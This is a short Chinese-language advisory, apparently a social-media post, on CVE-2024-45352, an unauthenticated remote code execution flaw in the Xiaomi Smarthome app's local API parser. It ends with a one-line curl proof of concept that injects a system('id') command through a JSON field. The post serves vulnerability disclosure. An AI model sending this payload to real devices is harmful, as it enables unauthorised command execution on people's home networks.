🚨 CVE-2024-45352 – 小米智能家居远程代码执行（RCE）

📌 摘要

在小米智能家居（Xiaomi Smarthome）应用中发现了一个严重漏洞（CVE-2024-45352），由于内部 API 解析器的输入处理不当，允许未经身份验证的远程代码执行（RCE）。本地网络中的攻击者可利用此漏洞在受影响系统上执行任意命令。

🛡️ CVE 编号

• CVE： CVE-2024-45352
• CVSS（估计值）： 8.8（高危）
• 攻击向量： 网络
• 攻击复杂度： 低
• 所需权限： 无
• 用户交互： 无

🧪 概念验证（PoC）

以下 PoC 通过向小米智能家居本地 API 发送恶意构造的请求来演示 RCE：

curl -X POST http://<target_ip>:<port>/api/parse --data '{"script":"system('id')"}'